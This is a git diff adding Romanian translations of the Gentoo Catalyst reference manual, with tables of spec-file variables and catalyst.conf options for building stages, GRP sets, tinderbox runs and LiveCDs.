+		opţională
+		</ti>
+		<ti>
+		lista argumentelor ce va fi transmisă genkernel pentru kernel-ul specificat
+		</ti>
+		<ti>
+		boot/kernel/smp/gk_kernargs: --kernel-cc=distcc --tempdir=/tmp
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/gk_mainargs</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista argumentelor ce va fi transmisă aplicaţiei genkernel
+		</ti>
+		<ti>
+		livecd/gk_mainargs: --kernel-cc=distcc --tempdir=/tmp
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/cdfstype</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		tipul de sistem de fişiere ce va fi folosit pentru LiveCD, tipurile suportate fiind
+		zisofs, squashfs, cloop, gcloop, şi noloop
+		</ti>
+		<ti>
+		livecd/cdfstype: squashfs
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/runscript</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		scriptul de iniţializare folosit de Catalyst (păstraţi valorile implicite, altfel trebuie să ştiţi EXACT ce faceţi)
+		</ti>
+		<ti>
+		livecd/runscript: /usr/lib/catalyst/livecd/runscript/default-runscript.sh
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/archscript</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		scriptul archscript folosit de Catalyst (păstraţi valorile implicite, altfel trebuie să ştiţi EXACT ce faceţi)
+		</ti>
+		<ti>
+		livecd/archscript: /usr/lib/catalyst/livecd/runscript/x86-archscript.sh
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/empty</c>
+		</ti>
+		<ti>
+		opţionlă
+		</ti>
+		<ti>
+		lista directoarelor ce vor fi şterse în mediul LiveCD (folosită pentru economisirea spaţiului)
+		</ti>
+		<ti>
+		livecd/empty: /var/tmp /var/cache /usr/portage
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/rm</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		fişiere specifice ce vor fi şterse din mediul LiveCD (folosit pentru economisirea spaţiului)
+		</ti>
+		<ti>
+		livecd/rm: /lib/*.a /var/log/emerge.log
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/unmerge</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista pachetelor ce vor fi dezinstalate din mediul LiveCD
+		</ti>
+		<ti>
+		livecd/unmerge: autoconf automake portage man-pages
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/iso</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		locaţia în care va fi păstrat fişierul .iso generat
+		</ti>
+		<ti>
+		livecd/iso: /tmp/my_livecd.iso
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/overlay</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		directorul ce va fi copiat în sistemul de fişiere al LiveCD-ului boot-at (nu mediul root al LiveCD)
+		</ti>
+		<ti>
+		livecd/overlay: /home/user/my_overlay
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/root_overlay</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		calea completă către directorul ce va fi creat în mediul LiveCD-ului boot-at 
+		</ti>
+		<ti>
+		livecd/root_overlay: /home/user/my_root_overlay
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/modblacklist</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista modulelor interzise ce nu vor fi încărcate de hotplug
+		</ti>
+		<ti>
+		livecd/modblacklist: usb-storage nvidia
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>livecd/rcadd</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista aplicaţiilor daemon şi a nivelurilor de rulare ale acestora, ce vor fi porniţi
+		</ti>
+		<ti>
+		livecd/rcadd: syslog-ng:default gpm:default
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/rcdel</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista aplicaţiilor daemon şi a nivelurilor de rulare ale acestora, ce vor fi eliminaţi
+		</ti>
+		<ti>
+		livecd/rcadd: syslog-ng:default sshd:default
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/type</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		tipul LiveCD-ului ce va fi construit
+		</ti>
+		<ti>
+		gentoo-release-universal
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/motd</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		calea completă către motd, ce va fi folosit în mediul LiveCD-ului boot-at
+		</ti>
+		<ti>
+		/home/users/livecd-motd.txt
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/splash_type</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		ce pachet splash va fi folosit, bootsplash sau gensplash
+		</ti>
+		<ti>
+		livecd/splash_type: gensplash
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/splash_theme</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		tema splash ce va fi folosită
+		</ti>
+		<ti>
+		livecd/splash_theme: livecd-2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/fsscript</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		script-ul ce va fi rulat în interiorul mediului LiveCD (pentru ajustarea şi îmbunătăţirea acestuia, etc)
+		</ti>
+		<ti>
+		livecd/fsscript: /home/user/my_fsscript.sh
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/xinitrc</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		calea completă către un script xinitrc ce va fi folosit cu un XLiveCD
+		</ti>
+		<ti>
+		livecd/xinitrc: /home/user/livecd_xinitrc
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/devmanager</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		managerul de dispozitive ce va fi folosit în cadrul livecd-ului, sau devfs sau udev
+		</ti>
+		<ti>
+		livecd/devmanager: udev
+		</ti>
+	</tr>
+	</table>
+
+	<note>
+	<b>script-urile runscript şi archscript:</b> Variabilele <c>livecd/runscript</c> şi <c>livecd/archscript</c> folosesc
+	script-urile shell care efectuează diverse sarcini în sistem, care cer interacţiune prin shell. Pentru scopurile
+	ţintei <c>livecd-stage2</c>, archscript şi runscript sunt folosite pentru construirea kernel(-urilor) pentru
+	LiveCD, performarea unor sarcini de pregătire şi curăţare a sistemului de fişiere al CD-ului, plasarea sistemului
+	de fişiere boot-abil al CD-ului într-un loopback aşa cum este nevoie, şi configurarea bootloader-ului pentru LiveCD.  
+	</note>
+	
+	<note>
+    <b>Utilizarea variabilelor legate de kernel în fişierul specificaţie:</b> Pentru fiecare nume de variabilă în 
+    <c>boot/kernel</c> ce se găseşte în fişierul specificaţie (cum este <c>gentoo</c>, de exemplu), această ţintă va
+    folosi <c>genkernel</c> pentru construirea kernel-ului şi a initrd. Cu exemplul introducerii <c>gentoo</c> în
+    <c>boot/kernel</c>, Catalyst va folosi setarea <c>boot/kernel/gentoo/sources</c> pentru a determina ce surse de kernel
+    să instaleze pentru această construcţie particulară de kernel (un exemplu de setare ar fi 
+    <c>=sys-kernel/gentoo-dev-sources-2.6.0</c>). Orice setare <c>USE</c> specificată în <c>boot/kernel/gentoo/use</c>
+    va fi exportată mediului înainte de executarea <c>genkernel</c>.   
+	</note>
+
+	</body>
+	</section>
+
+</chapter>
+
+<chapter>
+	<title>
+	Referinţe despre Opţiunile Catalyst
+	</title>
+	
+	<section>
+	<title>
+	Introducere
+	</title>
+	<body>
+	<p>
+	Sunt multe diferite opţiuni ce pot fi setate în <c>catalyst.conf</c>. Găsiţi mai jos explicaţii detaliate a fiecăreia.
+	</p>
+	</body>
+	</section>
+	
+	<section>
+	<title>
+	ccache
+	</title>
+	<body>
+	<p>
+	<b>Numele Opţiunii:</b> ccache
+	</p>
+	<p>
+	<b>Descriere:</b> Activează suportul ccache în timpul compilării.
+	</p>
+	<p>
+	<b>Scop:</b> Măreşte dramatic viteza compilării după prima compilare.
+	</p>
+	<p>
+	<b>Utilizare:</b> Adăugaţi <c>ccache</c> la <c>options</c> în <path>/etc/catalyst/catalyst.conf</path>.
+	</p>
+	<p>
+	<b>Exemplu:</b> options: ccache
+	</p>
+	</body>
+	</section>
+	
+	<section>
+	<title>pkgcache
+	</title>
+	<body>
+	<p>
+	<b>Numele Opţiunii:</b> pkgcache
+	</p>
+	<p>
+	<b>Descriere:</b> Activează caching-ul arhivelor sursă .tbz2.
+	</p>
+	<p>
+	<b>Scop:</b> Măreşte dramatic viteza compilării după prima compilare prin utilizarea pachetelor precompilate.
+	</p>
+	<p>
+	<b>Utilizare:</b> Adăugaţi <c>pkgcache</c> la <c>options</c> în <path>/etc/catalyst/catalyst.conf</path>.
+	</p>
+	<p>
+	<b>Example:</b> options: pkgcache
+	</p>
+	</body>
+	</section>
+	
+	<section>
+	<title>
+	distcc
+	</title>
+	<body>
+	<p>
+	<b>Numele Opţiunii:</b> distcc
+	</p>
+	<p>
+	<b>Descriere:</b> Activează compilarea distribuită în reţea.
+	</p>
+	<p>
+	<b>Scop:</b> Măreşte dramatic viteza compilării prin utilizarea mai multor calculatoare gazdă pentru compilare.
+	</p>
+	<p>
+	<b>Utilizare:</b> Adăugaţi <c>distcc</c> la <c>options</c> în <path>/etc/catalyst/catalyst.conf</path>,
+	şi setaţi distcc_hosts în fişierele dvs. specificaţie (spec).
+	</p>
+	<p>
+	<b>Exemplu:</b> options: distcc
+	</p>
+	</body>
+	</section>
+	
+	<section>
+	<title>
+	envscript
+	</title>
+	<body>
+	<p>
+	<b>Nume Parametru:</b> envscript
+	</p>
+	<p>
+	<b>Descriere:</b> Activează definirea oricărei variabile de mediu ce va fi utilizată în timpul compilării.
+	</p>
+	<p>
+	<b>Scop:</b> Pentru a activa folosirea setărilor HTTP proxy, MAKEOPTS, şi a altor setări specifice mediului. 
+	</p>
+	<p>
+	<b>Utilizare:</b> Setaţi <c>envscript=script.sh</c> în <path>/etc/catalyst/catalyst.conf</path>. Un script 
+	envscript foloseşte următorul format:
+	</p>
+	
+<pre caption="exemplu envscript">
+export MAKEOPTS="-j4"
+export GENTOO_MIRRORS="mymirror"
+export meep="foo"
+</pre>
+	</body>
+	</section>
+	
+	<section>
+	<title>
+	storedir
+	</title>
+	<body>
+	<p>
+	<b>Numele Opţiunii:</b> storedir
+	</p>
+	<p>
+	<b>Descriere:</b> Specifică directorul principal de lucru al Catalyst.
+	</p>
+	<p>
+	<b>Scop:</b> Activează definirea din partea utilizatorului a directorului de lucru.
+	</p>
+	<p>
+	<b>Utilizare:</b> Setaţi <c>storedir</c> către o locaţie specificată în <path>/etc/catalyst/catalyst.conf</path>
+	</p>
+	<p>
+	<b>Exemplu:</b> storedir: /home/user/catalyst_storedir
+	</p>
+	</body>
+	</section>
+
+	<section>
+	<title>
+	sharedir
+	</title>
+	<body>
+	<p>
+	<b>Numele Opţiunii:</b> sharedir
+	</p>
+	<p>
+	<b>Descriere:</b> Specifică locaţia pricipalelor fişiere program şi binare ale Catalyst.
+	</p>
+	<p>
+	<b>Scop:</b> Activează definirea din partea utilizatorului a locaţiei pricipalelor fişiere program şi a 
+	binarelor Catalyst.
+	</p>
+	<p>
+	<b>Utilizare:</b> Setaţi <c>sharedir</c> către o locaţie specificată în <path>/etc/catalyst/catalyst.conf</path>
+	</p>
+	<p>
+	<b>Exemplu:</b> sharedir: /home/user/catalyst_sharedir
+	</p>
+	</body>
+	</section>
+
+</chapter>	
+</guide>
diff --git a/xml/htdocs/proj/ro/releng/catalyst/2.x/reference.xml b/xml/htdocs/proj/ro/releng/catalyst/2.x/reference.xml
new file mode 100644
index 00000000..fb927152
--- /dev/null
+++ b/xml/htdocs/proj/ro/releng/catalyst/2.x/reference.xml
@@ -0,0 +1,1388 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/ro/releng/catalyst/reference.xml" lang="ro">
+<title>Manual de Referinţă pentru Catalyst</title>
+<author title="Autor"><mail link="drobbins@gentoo.org">
+Daniel Robbins</mail>
+</author>
+<author title="Contribuitor"><mail link="zhen@gentoo.org">
+John Davis</mail>
+</author>
+<author title="Translator"><mail link="robert.datcu@gentoo.ro">
+Robert Datcu</mail>
+</author>
+
+<abstract>
+Manualul de referinţă Catalyst, acoperind fiecare aspect al configurării
+acestuia.
+</abstract>
+
+<version>2.2</version>
+<date>22 Decembrie 2004</date>
+
+<chapter>
+<title>Introducere</title>
+<section>
+<body>
+<p>
+Acest document se doreşte a fi o referinţă completă pentru toate platformele
+ţintă ale Catalyst, opţiunile fişierelor specificaţie, şi a tuturor celorlalte
+aspecte ale Catalyst.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Referinţe privind Versiunea Ţintă Snapshot</title>
+<section>
+<body>
+
+<p>
+<b>Numele ţintei:</b> <c>snapshot</c>
+</p>
+
+<p>
+<b>Descrierea Ţintei:</b> O versiune snapshot pentru Portage, arborele Portage
+pregătit şi compresat folosit pentru construirea tuturor celorlaltor ţinte.
+</p>
+
+<p>
+Versiunea snapshot ţintă foloseşte următoarele setări:
+</p>
+
+<table>
+<tr>
+  <th>Variabilă</th>
+  <th>Utilizare</th>
+  <th>Descriere</th>
+  <th>Exemplu fişier specificaţie</th>
+</tr>
+<tr>
+  <ti><c>version_stamp</c></ti>
+  <ti>necesară</ti>
+  <ti>identificator, de ex. data sau numărul versiunii</ti>
+  <ti>version_stamp: 2004.3</ti>
+</tr>
+<tr>
+  <ti><c>portdir_overlay</c></ti>
+  <ti>opţională</ti>
+  <ti>directorul portage paralel (PORTDIR_OVERLAY din /etc/make.conf)</ti>
+  <ti>portdir_overlay: /home/utilizator/arborele_meu_paralel</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Referinţe privind Arhivele Tar Ţintă (stage1, stage2, stage3)</title>
+<section>
+<body>
+
+<p>
+<b>Numele ţintei</b> <c>stage1</c>
+</p>
+
+<p>
+<b>Descrierea ţintei:</b> o arhivă tar stage1, elementul de bază pentru
+construirea arhivelor tar stage2 şi stage3. 
+</p>
+
+<p>
+<b>Cerinţe pentru construire:</b> O versiune snapshot a arborelui Portage ca şi
+o arhivă "sursă" stage2 sau stage3 pentru configurarea mediului chroot.
+</p>
+
+<p>
+Fişierul ţintă stage1 foloseşte urmatoarele setări:
+</p>
+
+<table>
+<tr>
+  <th>Variabilă</th>
+  <th>Utilizare</th>
+  <th>Descriere</th>
+  <th>Exemplu fişier specificaţie</th>
+</tr>
+<tr>
+  <ti><c>subarch</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    <uri link="/proj/en/releng/catalyst/index.xml#doc_chap5">sub-arhitectura</uri>
+    pentru care Catalyst este construit, de ex. pentium4 sau athlon-xp
+  </ti>
+  <ti>subarhitectură: athlon-xp</ti>
+</tr>
+<tr>
+  <ti><c>version_stamp</c></ti>
+  <ti>necesară</ti>
+  <ti>identificator, de ex. data sau numărul versiunii</ti>
+  <ti>version_stamp: 2004.3</ti>
+</tr>
+<tr>
+  <ti><c>target</c></ti>
+  <ti>cerută</ti>
+  <ti>ţinta pentru care Catalyst este construit, în acest caz, o arhivă tar stage1</ti>
+  <ti>ţinta: stage1</ti>
+</tr>
+<tr>
+  <ti><c>rel_type</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    profilul ce va fi folosit de Catalyst, în cele mai multe cazuri <c>default</c> este de ajuns
+  </ti>
+  <ti>rel_type: default</ti>
+</tr>
+<tr>
+  <ti><c>profile</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    Profilul Portage (/etc/make.profile) pe care Catalyst îl va folosi pentru construire
+  </ti>
+  <ti>profile: default-linux/x86/2004.3</ti>
+</tr>
+<tr>
+  <ti><c>snapshot</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    Versiunea snapshot pentru Portage folosită, calea fiind relativă la ${clst_storedir}/snapshots
+  </ti>
+  <ti>snapshot: 20041222</ti>
+</tr>
+<tr>
+  <ti><c>source_subpath</c></ti>
+  <ti>necesară</ti>
+  <ti>locaţia fişierului stage sursă, calea este relativă faţă de ${clst_sharedir}</ti>
+  <ti>source_subpath: default/stage3-x86-2004.1</ti>
+</tr>
+<tr>
+  <ti><c>distcc_hosts</c></ti>
+  <ti>opţională, <c>distcc</c> cerut în <c>options</c> (catalyst.conf)</ti>
+  <ti>calculatoarele gazdă folosite pentru compilare distribuită distcc</ti>
+  <ti>distcc_hosts: 127.0.0.1 192.168.0.1</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+	
+<chapter>
+<title>Referinţe privind GRP</title>
+<section>
+<body>
+
+<p>
+<b>Numele ţintei:</b> <c>grp</c>
+</p>
+
+<p>
+<b>Descrierea ţintei:</b> Un set de pachete GRP. GRP este acronimul pentru
+'Gentoo Reference Platform' şi constă dintr-un set de pachete şi arhive sursă,
+grupate în (opţional) directoare separate pentru o uşoară integrare în CD-urile
+de instalare.
+</p>
+
+<p>
+<b>Cerinţe pentru construire:</b> Un snapshot al arborelui Portage şi o arhivă
+sursă stage3.
+</p>
+
+<p>
+Ţinta GRP foloseşte următoarele setări:
+</p>
+
+<table>
+<tr>
+  <th>Variabilă</th>
+  <th>Utilizare</th>
+  <th>Descriere</th>
+  <th>Exemplu fişier specificaţie</th>
+</tr>
+<tr>
+  <ti><c>subarch</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    <uri
+    link="/proj/en/releng/catalyst/index.xml#doc_chap5">sub-arhitectura</uri>
+    pentru care Catalyst este construit, de ex. pentium4 sau athlon-xp
+  </ti>
+  <ti>subarch: athlon-xp</ti>
+</tr>
+<tr>
+  <ti><c>version_stamp</c></ti>
+  <ti>necesară</ti>
+  <ti>identificator, de ex. data sau numărul versiunii</ti>
+  <ti>version_stamp: 2004.3</ti>
+</tr>
+<tr>
+  <ti><c>target</c></ti>
+  <ti>necesară</ti>
+  <ti>ţinta pentru care Catalyst este construit, în acest caz, <c>grp</c></ti>
+  <ti>target: stage1</ti>
+</tr>
+<tr>
+  <ti><c>rel_type</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    profilul ce va fi folosit de Catalyst în construcţie, în multe cazuri
+    <c>default</c> este de ajuns
+  </ti>
+  <ti>rel_type: default</ti>
+</tr>
+<tr>
+  <ti><c>profile</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    Profilul Portage (/etc/make.profile) pe care Catalyst îl va folosi pentru
+    construire
+  </ti>
+  <ti>profile: default-linux/x86/2004.3</ti>
+</tr>
+<tr>
+  <ti><c>snapshot</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    Versiunea snapshot pentru Portage folosită, calea fiind relativă la
+    ${clst_storedir}/snapshots
+  </ti>
+  <ti>snapshot: 20041222</ti>
+</tr>
+<tr>
+  <ti><c>source_subpath</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    locaţia fişierului stage sursă, calea fiind relativă la ${clst_sharedir}
+  </ti>
+  <ti>source_subpath: default/stage3-x86-2004.1</ti>
+</tr>
+<tr>
+  <ti><c>distcc_hosts</c></ti>
+  <ti>opţional, <c>distcc</c> cerut în <c>options</c> (catalyst.conf)</ti>
+  <ti>calculatoarele gazdă folosite pentru compilare distribuită distcc</ti>
+  <ti>distcc_hosts: 127.0.0.1 192.168.0.1</ti>
+</tr>
+<tr>
+  <ti><c>grp</c></ti>
+  <ti>necesară</ti>
+  <ti>structura de directoare pentru build-ul GRP finalizat</ti>
+  <ti>grp: src packages</ti>
+</tr>
+<tr>
+  <ti><c>grp/use</c></ti>
+  <ti>necesară</ti>
+  <ti>Indicatorii USE ce vor fi folosiţi la construirea setului GRP</ti>
+  <ti>grp/use: gtk2 gnome kde qt bonobo acl</ti>
+</tr>
+<tr>
+  <ti><c>grp/[grp:x]/type</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    tipul de build GRP - comanda pkgset va construi şi împacheta ebuild-ul
+    specificat într-o arhivă compresată (pachet binar), iar comanda srcset doar
+    va descărca local sursele de pe un mirror Gentoo
+  </ti>
+  <ti>grp/src/type: srcset; grp/packages/type: packages</ti>
+</tr>
+<tr>
+  <ti><c>grp/[grp:x]/packages</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    lista pachetelor ebuild pentru un build GRP corespunzător (srcset, pkgset)
+  </ti>
+  <ti>
+    grp/src/packages: pciutils hdparm; grp/packages/packages: pciutils hdparm
+  </ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+	
+<chapter>
+	<title>
+	Referinţe despre Ţinta Tinderbox
+	</title>
+	<section>
+	<body>
+	<p>
+	<b>Numele ţintei:</b> <c>tinderbox</c>
+	</p>
+	<p>
+	<b>Descrierea ţintei:</b> Tinderbox este o ţintă de tip QA (Quality Assurance - Asigurarea Calităţii) folosit pentru a
+	construi serii de pachete de test
+	</p>
+	<p>
+	<b>Cerinţe pentru construire:</b> Un snapshot al arborelui Portage şi o arhivă sursă stage3
+	</p>
+	
+	<p>
+	Ţinta tinderbox foloseşte următoarele setări:
+	</p>
+	<table>
+	<tr>
+		<th>Variabilă
+		</th>
+		<th>Utilizare
+		</th>
+		<th>
+		Descriere
+		</th>
+		<th>
+		Exemplu fişier specificaţie
+		</th>
+	</tr>
+	<tr>
+		<ti><c>subarch</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+			<uri link="/proj/en/releng/catalyst/index.xml#doc_chap5">sub-arhitectura</uri> pentru care 
+			Catalyst este construit, de ex. pentium4 sau athlon-xp
+		</ti>
+		<ti>subarch: athlon-xp
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>version_stamp</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		identificator, de ex. data sau numărul versiunii
+		</ti>
+		<ti>
+		version_stamp: 2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>target</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		ţinta pentru care este construit Catalyst, în acest caz, <c>tinderbox</c>
+		</ti>
+		<ti>
+		target: stage1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>rel_type</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		profilul ce va fi folosit de Catalyst, în cele mai multe cazuri <c>default</c> este de ajuns
+		</ti>
+		<ti>rel_type: default
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>profile</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Profilul Portage (/etc/make.profile) pe care Catalyst îl va folosi pentru construire
+		</ti>
+		<ti>
+		profile: default-linux/x86/2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>snapshot</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Versiunea snapshot Portage folosită, calea fiind relativă la ${clst_storedir}/snapshots
+		</ti>
+		<ti>
+		snapshot: 20041222
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>source_subpath</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		locaţia fişierului stage sursă, calea fiind relativă la ${clst_sharedir}
+		</ti>
+		<ti>
+		source_subpath: default/stage3-x86-2004.1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>distcc_hosts</c>
+		</ti>
+		<ti>
+		opţional, <c>distcc</c> cerut în <c>options</c> (catalyst.conf)
+		</ti>
+		<ti>
+		calculatoarele gazdă folosite pentru compilare distribuită distcc
+		</ti>
+		<ti>
+		distcc_hosts: 127.0.0.1 192.168.0.1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>tinderbox/use</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Indicatorii USE ce vor fi folosiţi pentru construcţia tinderbox
+		</ti>
+		<ti>
+		tinderbox/use: gtk2 qt kde bonobo
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>tinderbox/packages</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		lista pachetelor ebuild pentru a construi tinderbox
+		</ti>
+		<ti>
+		tinderbox/packages: xorg-x11 kde xmms parted portage
+		</ti>
+	</tr>
+	</table>
+
+	<p>
+	<b>Utilizare:</b> Iată cum funcţionează tinderbox. Arhiva sursă specificată este folosită pentru a configura 
+	mediul chroot. Apoi, <c>rsync</c> este folosit pentru a crea o copie de siguranţă iniţială curată a mediului chroot. Primul
+	pachet specificat în <c>tinderbox/packages</c> este instalat, folosind indicatorii <c>USE</c> specificaţi în
+	<c>tinderbox/use</c>.  Instalarea fiind corectă, Catalyst foloseşte <c>rsync</c> pentru a restaura mediul chroot la
+	forma sa originală. Apoi, fiecare pachet specificat în <c>tinderbox/packages</c> este instalat în mod succesiv; 
+	fiecare instalare este urmată de "reîntoarcerea la starea iniţială", adică pasul <c>rsync</c>.
+	</p>
+
+	<p>
+	Din cauza pasului <c>rsync</c>, adică reîntoarcerea la starea iniţială, tinderbox poate detecta erori în dependenţele dibtre pachete. Pentru ca un pachet să fie compilat cu succes, trebuie să depindă de orice ar avea nevoie pentru o compilare
+	curată dintr-o arhivă stage3 originală. De asemenea, acestă testare a tinderbox este chiar foarte eficientă când
+	<c>pkgcache</c> este activat în <path>/etc/catalyst/catalyst.conf</path>, deoarece pachetele pre-construite vor fi folosite
+	pentru satisfacerea oricăror dependenţe. Aceasta înseamnă că pachete mari consumatoare de CPU ca <path>xfree</path> vor fi
+	compilate doar odată pentru fiecare rulare a tinderbox, demonstrând că <c>pkgcache</c> este activat.    
+	</p>
+
+	<p>
+	Tinderbox va continua să compileze prin parcurgerea tuturor pachetelor specificate în <c>tinderbox/packages</c>,
+	chiar dacă unele pachete nu se vor compila. Un fişier log al compilării este creat şi localizat la
+	<path>[storedir]/tmp/[rel_type]/[subarch]-tinderbox-[version_stamp]/tmp/tinderbox.log</path>. Dacă un pachet este
+	compilat corect, o linie va fi înregistrată în acest fişier ce va conţine numele pachetului aşa cum este specificat 
+	în <c>tinderbox/packages</c>. Dacă un pachet nu este compilat corespunzător , o linie va fi înregistrată în acest
+	fişier şi va conţine numele pachetului, precedat de "<c>! </c>". Luaţi aminte că eşecurile în compilarea unor 
+	pachete anterioare pot cauza mai târziu erori în compilarea viitoarelor pachete. 
+	</p>
+
+	<p>
+	În afara fişierului <path>/tmp/tinderbox.log</path> creat în interiorul mediului chroot, tinderbox nu efectuează
+	un alt proces de log. Pentru a efectua log procesului de compilare, folosiţi comanda <c>script</c> împreună cu
+	<c>catalyst</c>, după cum urmează:
+	</p>
+	
+	<pre caption="Folosirea script cu Catalyst pentru efectuarea de log procesului de compilare">
+# script
+Script started, file is typescript
+# catalyst -f /foo/bar/oni.spec
+# exit Script done, file is typescript
+</pre>
+	<p>
+	Apoi, deschideţi fişierul <path>typescript</path> din directorul curent pentru un log complet al procesului
+	de compilare.
+	</p>
+	</body>
+	</section>
+
+</chapter>
+
+<chapter>
+	<title>
+	Referinţe privind Livecd-stage1
+	</title>
+	<section>
+	<body>
+	<p>
+	<b>Numele ţintă:</b> <c>livecd-stage1</c>
+	</p>
+	<p>
+	<b>Descrierea ţintei:</b> Prima ţintă prealabilă pentru construirea unui LiveCD, de fapt o
+	arhivă compresată ce conţine un fişier stage3 plus alte pachete. 
+	</p>
+	<p>
+	<b>Cerinţe pentru construire:</b> Un snapshot al arborelui Portage şi o arhivă sursă stage3	
+	</p>
+	
+	<p>
+	Ţinta livecd-stage1 foloseşte următoarele setări:
+	</p>
+	<table>
+	<tr>
+		<th>
+		Variabilă
+		</th>
+		<th>
+		Utilizare
+		</th>
+		<th>
+		Descriere
+		</th>
+		<th>
+	   	Exemplu fişier specificaţie	
+		</th>
+	</tr>
+	<tr>
+		<ti><c>subarch</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		    <uri link="/proj/en/releng/catalyst/index.xml#doc_chap5">sub-arhitectura</uri> pentru care 
+			Catalyst este construit, de ex. pentium4 sau athlon-xp	
+		</ti>
+		<ti>subarch: athlon-xp
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>version_stamp</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		identificator, de ex. data sau numărul versiunii
+		</ti>
+		<ti>
+		version_stamp: 2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>target</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		ţinta pentru care este construit Catalyst, în acest caz, <c>livecd-stage1</c>
+		</ti>
+		<ti>
+		target: stage1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>rel_type</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		profilul ce va fi folosit de Catalyst, în cele mai multe cazuri <c>default</c> este de ajuns
+		</ti>
+		<ti>
+		rel_type: implicit
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>profile</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Profilul Portage (/etc/make.profile) pe care Catalyst îl va folosi pentru construire
+		</ti>
+		<ti>
+		profile: default-linux/x86/2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>snapshot</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
